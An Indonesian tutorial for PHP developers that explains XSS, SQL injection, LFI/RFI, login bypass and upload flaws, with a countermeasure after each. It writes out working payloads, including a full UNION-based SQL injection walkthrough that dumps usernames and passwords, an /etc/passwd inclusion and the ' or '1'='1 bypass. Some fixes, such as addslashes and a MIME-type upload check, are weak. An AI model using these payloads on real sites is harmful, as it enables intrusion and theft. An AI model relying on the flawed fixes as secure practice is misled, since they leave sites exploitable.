Teknik-teknik serangan yang akan kita bahas cara menangkalnya adalah :
1. XSS
2. SQLInjection
3. LFI / RFI
4. Bypass Login
5. Filter Upload file
1. XSS
XSS adalah
kepanjangan dari Cross Site Scripting. Maksudnya??? Hal ini terjadi
ketika programmer menggunakan URL sebagai parsing kalimat atau kata
secara langsung pada halaman website.
Ok contohnya seperti ini:
http://www.target.com/index.php?id=560& ... at%20Lunak
Selanjutnya
kalimat yang diletakkan pada get_variable judul akan langsung saja
ditampilkan pada halaman penerima, pada contoh ini sang attacker dapat
menyelipkan sebuah script pada get_variable tersebut. contohnya.
http://www.target.com/index.php?id=560&judul=<script>alert('Tes XSS!!!');</script>
<script>alert('Tes
XSS!!!');</script> script ini merupakan script javascript yang
digunakan untuk menampilkan sebuah alert box. Pada kasus yang lebih
gawat serangan XSS juga dapat dilakukan untuk mendapatkan cookies
website, fake interface dan lain2, maklum saya bukan attacker jadi
kurang terlalu paham.
PENANGKAL
Untuk
menangkal serangan ini, kita dapat menambahkan function php
htmlentities. Fungsi dari function ini adalah untuk menerjemahkan
karakter yang termasuk dalam pembentuk html ke dalam karakter
codenya....
Contoh code pembentuknya dapat dilihat pada tabel berikut Result Description Entity Name Entity Number
non-breaking space   < less than < < > greater than > > & ampersand & & ¢ cent ¢ ¢ £ pound £ £ ¥ yen ¥ ¥ € euro € € § section § § © copyright © © ® registered trademark ® ®
Cara pakai function ini :
- Code:
$judul = htmlentities ($_GET['judul']);
echo $judul;
?>
$judul
= htmlentities ($_GET['judul']); <<<---- Disini ditambahkan
funtion tersebut untuk merubah semua karakter html ke karakter
pembentuknya...
2. SQLInjection
Bagi
penggiat dunia hacking, mungkin istilah ini sudah tidak asing lagi.
Hm........ ya, super simple basic web attacking technique (bener ga ya
bahasanya). Ya, teknik serangan website paling dasar.
Bug ini terjadi karena kesalah yang terjadi ketika dilakukan perintah _select query pada tabel dalam database.
Contohnya dulu.
Misal url yang tampak pada address bar seperti ini
http://www.target.com/index.php?id=560
Maksud dari url ini untuk menampilkan berita atau artikel atau apalah yang memiliki id 560 pada tabel dalam database.
Selanjutnya pada halaman penerima dilakukan query untuk meminta isi record tabel yang memiliki id 560.
contoh :
- Code:
include "'connect.php";
mysql_select_db ("db_web", $con);
$id = $_GET['id'];
$result = mysql_query ("select * from `tblBerita` where `id` = $id ");
dan seterusnya....
?>
Yang kita gunakan untuk permisalah adalah id = 560, baik kita coba terjemahkan query sql nya.
"select * from `tblBerita` where `id` = 560"
SQLInjection
1. Teknik serangan SQLinjection dimulai dengan mengetes suatu get_variable dengan menambahkan karakter single quote (')
http://www.target.com/index.php?id=560'
Selanjutnya pada query sql yang ada pada script akan berubah menjadi
select * from `tblBerita` where `id` = 560' << terdapat karakter petik satu.
Hal ini menyebabkan query error dan menampilkan pesan error nya pada halaman website.
2.
Dengan tanda error ini, selanjutnya sang attacker melanjutkan melakukan
inject pada query sql ini dengan tujuan menampilkan informasi yang ada
pada tabel user, admin atau nama tabel lain untuk mengetahui user dan
password yang tersimpan dalam website.
HOW???? HOW????? Caranya
bagaimana. Pada MYSQL versi 5, hal ini dapat dilakukan dengan
memanfaatkan informasi yang terdapat pada database information_schema.
Kita lanjut dulu saja SQLInjectionnya.
Selanjutnya kita akan coba cari jumlah record yang ada pada tabel.
http://www.target.com/index.php?id=560 order by 1
Kita tes apakah error atau tidak, seharusnya tidak.
select * from `tblBerita` where `id` = 560 order by 1
Maksud query ini, hasil select dirutkan berdasarkan pada colomn nomer 1.
Coba terus sampai tampil pesan error
http://www.target.com/index.php?id=560 order by 2 <<<--- masih belum error
http://www.target.com/index.php?id=560 order by 3 <<<--- masih belum error
http://www.target.com/index.php?id=560 order by 4 <<<--- masih belum error
http://www.target.com/index.php?id=560 order by 5 <<<--- akhirnya error juga
Ini
misal aja loh ya, di lapangan ntar jumlah angkanya bisa berbeda-beda.
Ini menandakan bahawa field atau colomn yang ada pada tabel hanya ada 4.
3. Selanjutnya, lakukan union select
http://www.target.com/index.php?id=560 and 1=2 union select 1, 2, 3, 4
Query pada web jadi seperti ini
select * from `tblBerita` where `id` = 560 and 1=2 union select 1, 2, 3, 4
Result
aslinya tidak akan tampil, yang tampil malah angka-angka yang dijadikan
union select. Kita cari angka mana yang tampil pada halaman website.
Misal angka yang tampil pada halaman website angka 2.
4. Kita dapat menggunakan function2 sql pada url tersebut, contohnya version()
http://www.target.com/index.php?id=560 and 1=2 union select 1, version(), 3, 4
Fungsi
ini berguna untuk menampilkan versi mysql yang digunakan, jika versi
mysql adalah versi 5. Kida dapat mulai melakukan inject untuk
menampilkan informasi yang ada pada database information schema.
http://www.target.com/index.php?id=560 and 1=2 union select 1, group_concat(table_name), 3, 4 from information_schema.tables where table_schema = database()
Query
ini berfungsi untuk menampilkan isi dari table `tables` yang ada pada
database information_schema yang mana nama databasenya = database(),
funsi database() akan menghasilkan nama database yang digunakan oleh
website.
Setelah nama2 table diketahui, kita akan coba
menampilkan nama2 colomn yang ada pada table. Misal nama table yang
akan kita tampilkan isi kolomnya `tbluser`
http://www.target.com/index.php?id=560 and 1=2 union select 1, group_concat(column_name), 3, 4 from information_schema.columns where table_name = tbluser
Jika
cara ini gagal, sebelumnya ubah dulu kata `tbluser` ke bentuk hexa,
gunakan website2 yang menyediakan jasa convert text ke hexa.
http://www.target.com/index.php?id=560 and 1=2 union select 1, group_concat(column_name), 3, 4 from information_schema.columns where table_name = tbluser
Jika cara ini gagal, sebelumnya ubah kata `tbluser` ke bentuk hexa.
http://www.target.com/index.php?id=560
and 1=2 union select 1, group_concat(column_name), 3, 4 from
information_schema.columns where table_name = 0x6164A689 (ni hexa yang
aku pake ngawur, heheh ntar coba sendiri aja)
Setelah keluar nama2 colomn dari tabel `tbluser`, kita lanjutkan untuk menampilkan record dari tabel ini.
Misal colomn2 yang tampil
id, user, email, password
http://www.target.com/index.php?id=560 and 1=2 union select 1, group_concat(user, 0x3a, password), 3, 4 from tbluser
Kita tampilkan yang penting2 saja......
Selanjutnya
isi tabel akan ditampilkan, dan setelah kita dapatkan user dan password
admin. Kita cari tempat untuk melakukan login ke system dan Eng ing
eng, akses kita menjadi Administrator pada website.
PENANGKAL
Teknik
serangan yang panjang lebar ini ternyata hanya memerlukan sedikit
tambahan code untuk menambalnya, benarkah??? ya.... Mari kita bahas.
$result = mysql_query ("select * from `tblBerita` wheere `id` = $id ");
Serangan
ini dapat terjadi dikarenakan tidak ada filter pada get_variable,
sehingga attacker dapat menambahkan query jahat pada query aslinya.
hehehe, nilai yang dibutuhkan pada get_variable id hanya nilai numeric
saja sehingga kita dapat melakukan pengecekan apakah nilainya angka
valid atau tidak
if (!is_numeric($id))
$id = 0;
$result = mysql_query ("select * from `tblBerita` where `id` = $id ");
Kode ini, berguna untuk merubah nilai id menjadi 0 (Nol) jika nilai id tidak valid sebagai angka.
Huft, sudah kok itu aja....... heheheeh.......
3. LFI / RFI
LFI (Local File Inclusion) Bug yang memungkinkan sang attacker untuk menampilkan file2 yang ada pada server.
RFI (Remote File Inclusion) Bug yang memungkinkan sang attacker untuk mengincludekan file dari luar server. B
Bug ini dapat terjadi ketika setting konfigurasi php di server
allow_url_include = on
allow_url_fopen = on
magic_quote_gpc = off
Bug ini terjadi karena kesalahan dalam penggunaan function include(), include_once(), require(), require_once()
Misal
http://www.target.com/index.php?page=news
Selanjutnya pada code kita langsung melakukan include pada halaman yang di kirim melalui variable pada url
$page = $_GET['page'];
include($page.".php");
Contoh serangan
http://www.target.com/index.php?page=ht ... jahat.txt?? <-- RFI
http://www.target.com/index.php?page=.. ... /passwd%00 <-- LFI
PENANGKAL
Baiknya kita berlaku lakukan pengecekan pada setiap halaman yang akan kita tampilkan dengan menggunakan function ini misal
- Code:
$page = $_GET['page'];
if ($page == 'news')
include("news.php");
elseif ($page == 'tutorial')
include("tutorial.php");
?>
Dan selanjutnya, hmmm ternyata kesalahan yang sederhana benar2 dapat menyebabkan kejadian yang fatal.
Next...
4. Bypass Login
Teknik ini sebenarnya juga merupakan bentuk lain dari SQLInjection Contoh
Pada halaman login user diminta untuk menginputkan User dan password
user : admin
password : pass123
Selanjutnya pada query
- Code:
include "'connect.php";
mysql_select_db ("db_web", $con);
$user = $_GET['user'];
$pass = $_GET['password'];
$result = mysql_query ("select * from `tbladmin` where `uname` = '$user' and `upass` = '$pass' ");
dan seterusnya
?>
Jika kita terjemahkan
"select * from `tbladmin` where `uname` = 'admin' and `upass` = 'pass123'
Ok bentuk2 bypass yang dapat digunakan
' or '1'='1
Coba kalau kita ubah isian user dan passwordnya
user : admin
password : pass123' or '1'='1
Query SQLnya akan berubah menjadi
"select * from `tbladmin` where `uname` = 'admin' and `upass` = 'pass123' or '1'='1'
Ow
ow ow, dengan cara ini tanpa sang attacker tau dengan password adminnya
pun dia tetap bisa melakkan login ke system. Sungguh sangat berbahaya
kan.
PENANGKAL
Untuk menangkal serangan ini kita dapat menggunakan function addslashes() yang ada pada php
string
addslashes(string $str), fungsinya untuk mengembalikan karakter dengan
backslash (\) untuk karakter2 yang memerlukan penanda khusu pada query
sql
' menjadi \'
Contoh
- Code:
include "'connect.php";
mysql_select_db ("db_web", $con);
$user = addslashes($_GET['user']);
$pass = addslashes($_GET['password']);
$result = mysql_query ("select * from `tbladmin` where `uname` = '$user' and `upass` = '$pass' ");
dan seterusnya
?>
Fungsi lain, mysqli_real_escape_string(), htmlspecialchars() dll
5. Filter Upload file
Filter
file upload, kesalahan pada fitur ini dapat menyebabkan website yang
kita miliki dapat dikuasai oleh seorang attacker jika tidak adanya
filter yang benar pada file dengan tipe apa saja yang dapat masuk ke
dalam di upload. Begini prosesnya...
Attacker akan meng-Upload
file Backdoor, script jahat atau yang lain untuk dapat menjalankan
script tersebut secara langsung pada server. Attacker akan dapat
mengakses database website dengan melihat konfigurasi database yang ada
pada file config, melakukan edit file atau bahkan melakukan Deface
(Mengganti halaman depan website)
PENANGKAL
Lakukan pengecekan pada tipe file sebelum melakukan eksekusi upload file ke server
- Code:
$image = $_FILES['image']['name']; $imagetipe = $_FILES['image']['type']; if ($image<>'' && !(($imagetipe == "image/gif") || ($imagetipe == "image/jpeg") || ($imagetipe == "image/bmp") || ($imagetipe == "image/jpg")
|| ($imagetipe == "image/png"))){ echo ""; }else {
Kode upload file .........
}
?>
Dengan kode diatas website hanya mengijinkan file bertipe gif, bmp, jpg dan jpeg saja yang dapat diupload.
FINISH
Ok, sekian terima kasih telah menyempatkan untuk membaca tutorial saya
ini Moga bermanfaat bagi para pengembang website yang sedang mencari
informasi tentang teknik patching ini, sengaja saya jelaskan pula
teknik serangannya agar para pengembang website juga dapat tau dengan
jelas penyebab terjadinya serangan-serangan itu. Selanjutnya melakukan penambalan pada script2 yang salah dengan cara
yang saya sarankan atau dengan cara lain sesuai kreatifitas masing2. Untuk penjelasan tentang bagaimana cara attacker dapat dilihat disini
|